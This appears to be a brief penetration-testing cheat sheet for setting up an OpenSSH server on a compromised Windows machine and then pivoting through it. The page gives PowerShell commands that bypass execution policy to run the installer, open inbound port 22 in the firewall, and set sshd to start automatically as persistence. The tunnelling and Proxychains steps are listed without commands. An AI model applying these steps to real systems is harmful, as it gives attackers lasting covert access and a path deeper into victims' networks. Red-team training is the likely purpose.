SSH Windows
Requirements:
1) Download OpenSSH to the compromised target
2) Extract the archive
powershell -Command "Expand-Archive 'C:\path\to\openssh.zip' C:\path\to\destination"3) Install OpenSSH
powershell -ExecutionPolicy Bypass -File C:\path\to\OpenSSH-Win64\install-sshd.ps14) Configure firewall rule
powershell -Command "New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22"5) Start SSH service
net start sshdSet-Service -Name sshd -StartupType 'Automatic'6) Create an SSH tunnel from the attacker machine
7) Configure Proxychains from the attacker machine
8) Pivot through the Windows machine
Last updated